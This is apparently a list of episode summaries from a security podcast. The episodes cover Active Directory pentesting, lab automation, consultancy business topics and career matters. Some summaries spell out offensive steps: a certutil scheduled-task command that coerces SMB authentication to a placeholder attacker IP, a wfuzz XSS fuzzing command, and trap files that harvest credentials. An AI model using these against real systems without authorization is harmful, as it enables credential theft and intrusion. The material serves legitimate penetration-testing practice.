7 Minute Security

Today we continue where we left off in episode  641 , but this time talking about how to automatically deploy and install a Ubuntu-based dropbox!  I also share some love for  exegol as an all-in-one Active Directory pentesting platform.

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

Today we're revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible,  Cursor  and  Level .  Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of  Light Pentest LITE training !

This was my favorite pentest tale of pwnage to date!  There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Sprinkled  farmer  files around the environment Found high-priv boxes with WebClient enabled Added "ghost" machine to the Active Directory (we'll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against...

Today's tale of pentest pwnage talks about the dark powers of the  net.py  script from  impacket .

Today we're talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at  Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this  Sn...

Hello friends, I'm excited to release BPATTY[RELOADED] into the world at  https://bpatty.rocks ! – which stands for Brian's Pentesting and Technical Tips for You! It's a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!

Artificial hype alert!  I'm working on a NEW version of BPATTY (Brian's Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation.  It's weird.  But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than  BPATTY v...

Today we're talking about eating the security dog food – specifically: Satisfying  critical security control #1 Using the  Atlassian  family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging  Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today's tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop  Farmer  "crops" to a domain admin's desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using  vcenter_saml_login

Hey friends, we're doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using  Docusaurus !  It's cool, it's free, it's from Meta and you can get up and going in just a few commands – check out their  getting started guide  to get rockin' in about 5 minutes. Important files include: docusaurus.config.js  – for setting the...

Today's tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse  helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like  ping -n 1 your.kali.ip.address .  When you're ready to fire off a task that coerces SMB auth, try  certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder . I'm not 100% sure on this, but I think scheduled tasks captur...

Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme  – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot  – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares S...

Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don't care about their personal security Weakpass  – a cool collection of word lists for brute-forcing and spraying that I'd never heard of Working on two security Webinars for Netwrix (here's  part 1: Mastering Password Security & Active Directory Monitoring ,...

Today we have a fun featured interview with my new friend Stu Musil of  Ambient Consulting  I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don't know, but who offers a job opportunity you're interested in? What questions should you ask a po...

Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don't almost get cancelled like some did with me!) Tracking doma...

Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox!  Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud  made it super easy to to add Proxmox to those bare-metals with a simple wizard. I couldn't figure out ho...

Hey friends, today we've got a security milkshake episode about Web app pentesting. Specifically we talk about: Burp Suite Enterprise Caido  – a lightweight alternative to Burp wfuzz  – Web fuzzer.  Using a proxy: wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 "https://somedomain.com/shopping?&qty=%2FUZZ" -p 10.0.7.11:8080 KNOXSS  – for XSS testing – pairs nicely with this w...

Road trip time! I've been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag!  Today's questions include: How do you price internal network penetration tests? Have you ever had to deal with a difficult client situation, and how did you resolve it? Are you done going after certs?   Spoiler: no –...

Today's tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode  last week  that actually ended up being a full episode all about the attack, and even step by step commands to pull it off.  But I didn't want today's episode to just be "Hey friends, check out the YouTube version of this attack!" so I also cover: Our  first  first impressions of  Burp...

Today's prelude to a tale of pentest pwnage talks about something called "spnless RBCD" (resource-based constrained delegation).  The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.

Sadly, the  Broadcom acquisition of VMWare  has hit 7MinSec hard – we  love  running ESXi on our NUCs, but ESXi free is no longer available.  To add insult to injury, our  vCenter lab at OVHcloud HQ  got a huge price gouge (due to license cost increase; not OVH's fault).  Now we're exploring  Proxmox as an alternative hypervisor, so we're using today's episode to kick off a series about the joys a...

Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus!  Specifically we talk about: We're going to get a third-party assessment on 7MinSec (the business) Tips for secure email backup/storage Limiting the retention of sensitive data you store in cloud places

Today we're talking about tips to deal with stress and anxiety: It sounds basic, but  take breaks  – and take them in a different place (don't just stay in the office and do more screen/doom-scrolling) I've never gotten to a place in my workload where I go "Ahhh, all caught up!" so I should stop striving to hit that invisible goal. Chiropractic and back massages have done wonders for the tightness...

We did something crazy today and  recorded an episode that was 7 minutes long!   Today we talk about some things that have helped us out in recent pentests: When using  Farmer  to create "trap" files that coerce authentication, I've found way better results using Windows Search Connectors ( .searchConnector-ms ) files This  matrix  of "can I relay  this  to  that " has been super helpful, especial...